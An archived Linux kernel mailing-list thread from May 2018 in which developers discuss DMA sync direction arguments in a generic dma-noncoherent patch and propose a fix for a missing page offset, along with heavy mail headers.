	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, "linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org"
To: "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 16:11:47 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJg6h-0001g4-0Q
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 16:11:43 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9E0DD9F0;
	Fri, 18 May 2018 14:13:53 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id AD59436
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 14:13:52 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (smtprelay.synopsys.com [198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B07E0B0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 14:13:51 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost2.synopsys.com [10.13.184.66])
	by smtprelay.synopsys.com (Postfix) with ESMTP id 34AF910C12E6;
	Fri, 18 May 2018 07:13:51 -0700 (PDT)
Original-Received: from US01WXQAHTC1.internal.synopsys.com
	(us01wxqahtc1.internal.synopsys.com [10.12.238.230])
	by mailhost.synopsys.com (Postfix) with ESMTP id 8BB073B04;
	Fri, 18 May 2018 07:13:50 -0700 (PDT)
Original-Received: from DE02WEHTCB.internal.synopsys.com (10.225.19.94) by
	US01WXQAHTC1.internal.synopsys.com (10.12.238.230) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 07:13:50 -0700
Original-Received: from DE02WEMBXB.internal.synopsys.com ([fe80::95ce:118a:8321:a099])
	by DE02WEHTCB.internal.synopsys.com ([::1]) with mapi id
	14.03.0361.001; Fri, 18 May 2018 16:13:48 +0200
Thread-Topic: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Thread-Index: AQHT7rJwE0RiyYL8c0WIr1H3arr2Xg==
In-Reply-To: <20180518132731.GA31125-jcswGhMUV9g@public.gmane.org>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.121.8.87]
Content-ID: <C702843E962C4C4087A6422611F424FA-z7JfP6tgrtVBCHUSTMH8dZqQE7yCjDx5@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24383 gmane.linux.kernel.cross-arch:44264 gmane.linux.kernel.arc:3905 gmane.linux.ports.parisc:28625 gmane.linux.ports.sh.devel:57044 gmane.linux.ports.hexagon:1732 gmane.linux.kernel:2771030 gmane.linux.ports.alpha:5053 gmane.linux.ports.sparc:27881 gmane.linux.ports.arm.kernel:651296
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24383>

Hi Christoph,

On Fri, 2018-05-18 at 15:27 +0200, hch-jcswGhMUV9g@public.gmane.org wrote:
> On Fri, May 18, 2018 at 01:03:46PM +0000, Alexey Brodkin wrote:
> > Note mmc_get_dma_dir() is just "data->flags & MMC_DATA_WRITE ? DMA_TO_DEVICE : DMA_FROM_DEVICE".
> > I.e. if we're preparing for sending data dma_noncoherent_map_sg() will have DMA_TO_DEVICE which
> > is quite OK for passing to dma_noncoherent_sync_sg_for_device() but in case of reading we'll have
> > DMA_FROM_DEVICE which we'll pass to dma_noncoherent_sync_sg_for_device() in dma_noncoherent_map_sg().
> > 
> > I'd say this is not entirely correct because IMHO arch_sync_dma_for_cpu() is supposed to only be used
> > in case of DMA_FROM_DEVICE and arch_sync_dma_for_device() only in case of DMA_TO_DEVICE.
> 
> arc overrides the dir paramter of the dma_sync_single_for_device/
> dma_sync_single_for_cpu calls.  My patches dropped that, and I have
> restored that, and audit for the other architectures is pending.

Well at least for me that's a confusion what is a reason to pass direction
to function which purpose is already known.

I'd say that XXX_sync_for_device() doesn't need _variable_ direction as an argument,
otherwise what does that mean if we pass DMA_FROM_DEVICE to that function?

> That being said the existing arc code still looks rather odd as it
> didn't do the same thing for the scatterlist versions of the calls.

That might easily be the case so good we caught that now and it will be fixed :)

> I've thrown in a few patches into my new tree to make the sg versions
> make the normal calls, and to clean up the area a bit.

I'll try your newer series now, thanks!

-Alexey

From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH 02/20]
	dma-mapping: provide a generic dma-noncoherent implementation)
Date: Fri, 18 May 2018 10:20:02 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526663903 9375 195.159.176.226 (18 May 2018 17:18:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 17:18:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	"deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org" <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux@vg
To: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>,
	"hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 19:18:17 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJj1B-0002Ds-ON
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 19:18:14 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 51F62728;
	Fri, 18 May 2018 17:20:23 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 906134A4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 17:20:21 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (smtprelay.synopsys.com [198.182.47.9])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 76354E5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 17:20:20 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost2.synopsys.com [10.13.184.66])
	by smtprelay.synopsys.com (Postfix) with ESMTP id F136624E0ACB;
	Fri, 18 May 2018 10:20:18 -0700 (PDT)
Original-Received: from us01wehtc1.internal.synopsys.com
	(us01wehtc1.internal.synopsys.com [10.12.239.235])
	by mailhost.synopsys.com (Postfix) with ESMTP id 14A073A76;
	Fri, 18 May 2018 10:20:18 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
	us01wehtc1.internal.synopsys.com (10.12.239.231) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 10:20:17 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
	IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 22:50:15 +0530
Original-Received: from [10.10.161.52] (10.10.161.52) by
	IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 22:50:14 +0530
In-Reply-To: <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Content-Language: en-US
X-Originating-IP: [10.10.161.52]
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24388 gmane.linux.kernel.cross-arch:44265 gmane.linux.ports.parisc:28626 gmane.linux.ports.sh.devel:57045 gmane.linux.ports.hexagon:1733 gmane.linux.kernel:2771263 gmane.linux.kernel.mm:195985 gmane.linux.ports.alpha:5054 gmane.linux.ports.sparc:27882 gmane.linux.kernel.arc:3908 gmane.linux.ports.arm.kernel:651403
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24388>

On 05/18/2018 06:11 AM, Alexey Brodkin wrote:
>   void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
>                  size_t size, enum dma_data_direction dir)
>   {
> +       if (dir != DMA_TO_DEVICE){
> +               dump_stack();
> +               printk(" *** %s@%d: DMA direction is %s instead of %s\n",
> +                      __func__, __LINE__, dir_to_str(dir), dir_to_str(DMA_TO_DEVICE));
> +       }
> +
>          return _dma_cache_sync(dev, paddr, size, dir);
>   }
>   
>   void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
>                  size_t size, enum dma_data_direction dir)
>   {
> +       if (dir != DMA_FROM_DEVICE) {
> +               dump_stack();
> +               printk(" *** %s@%d: DMA direction is %s instead of %s\n",
> +                      __func__, __LINE__, dir_to_str(dir), dir_to_str(DMA_FROM_DEVICE));
> +       }
> +
>          return _dma_cache_sync(dev, paddr, size, dir);
>   }

...
> In case of MMC/DW_MCI (AKA DesignWare MobileStorage controller) that's an execution flow:
> 1) __dw_mci_start_request()
> 2) dw_mci_pre_dma_transfer()
> 3) dma_map_sg(..., mmc_get_dma_dir(data))
>
> Note mmc_get_dma_dir() is just "data->flags & MMC_DATA_WRITE ? DMA_TO_DEVICE : DMA_FROM_DEVICE".
> I.e. if we're preparing for sending data dma_noncoherent_map_sg() will have DMA_TO_DEVICE which
> is quite OK for passing to dma_noncoherent_sync_sg_for_device() but in case of reading we'll have
> DMA_FROM_DEVICE which we'll pass to dma_noncoherent_sync_sg_for_device() in dma_noncoherent_map_sg().
>
> I'd say this is not entirely correct because IMHO arch_sync_dma_for_cpu() is supposed to only be used
> in case of DMA_FROM_DEVICE and arch_sync_dma_for_device() only in case of DMA_TO_DEVICE.

So roughly 10 years ago, some kernel rookie name Vineet Gupta, asked the exact 
same question :-)

http://kernelnewbies.kernelnewbies.narkive.com/aGW1QcDv/query-about-dma-sync-for-cpu-and-direction-to-device

I never understood the need for this direction. And if memory serves me right, at 
that time I was seeing twice the amount of cache flushing !

> But the real fix of my problem is:
> ---------------------------------------->8------------------------------------
> --- a/lib/dma-noncoherent.c
> +++ b/lib/dma-noncoherent.c
> @@ -35,7 +35,7 @@ static dma_addr_t dma_noncoherent_map_page(struct device *dev, struct page *page
>   
>          addr = dma_direct_map_page(dev, page, offset, size, dir, attrs);
>          if (!dma_mapping_error(dev, addr) && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -               arch_sync_dma_for_device(dev, page_to_phys(page), size, dir);
> +               arch_sync_dma_for_device(dev, page_to_phys(page) + offset, size, dir);
>          return addr;
>   }
> ---------------------------------------->8------------------------------------
>
> You seem to lost an offset in the page so if we happen to have a buffer not aligned to
> a page boundary then we were obviously corrupting data outside our data :)

Neat !


From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Date: Fri, 18 May 2018 10:28:09 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <482e343c-bc87-9c0e-b6a8-bb69bcbeecda@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
	<20180518132731.GA31125@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526664382 12554 195.159.176.226 (18 May 2018 17:26:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 17:26:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	"deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org" <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux@vg
To: "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>,
	Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 19:26:16 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJj8x-000360-CO
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 19:26:15 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id F1652A95;
	Fri, 18 May 2018 17:28:25 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 917069C1
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 17:28:24 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (us01smtprelay-2.synopsys.com
	[198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1A26ED3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 17:28:24 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
	by smtprelay.synopsys.com (Postfix) with ESMTP id D289010C0BEF;
	Fri, 18 May 2018 10:28:22 -0700 (PDT)
Original-Received: from US01WEHTC2.internal.synopsys.com
	(us01wehtc2.internal.synopsys.com [10.12.239.237])
	by mailhost.synopsys.com (Postfix) with ESMTP id 5AA7A595A;
	Fri, 18 May 2018 10:28:22 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
	US01WEHTC2.internal.synopsys.com (10.12.239.237) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 10:28:22 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
	IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 22:58:19 +0530
Original-Received: from [10.10.161.52] (10.10.161.52) by
	IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 22:58:19 +0530
In-Reply-To: <20180518132731.GA31125-jcswGhMUV9g@public.gmane.org>
Content-Language: en-US
X-Originating-IP: [10.10.161.52]
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24389 gmane.linux.kernel.cross-arch:44266 gmane.linux.ports.parisc:28627 gmane.linux.ports.sh.devel:57046 gmane.linux.ports.hexagon:1734 gmane.linux.kernel:2771265 gmane.linux.kernel.mm:195986 gmane.linux.ports.alpha:5055 gmane.linux.ports.sparc:27883 gmane.linux.kernel.arc:3909 gmane.linux.ports.arm.kernel:651404
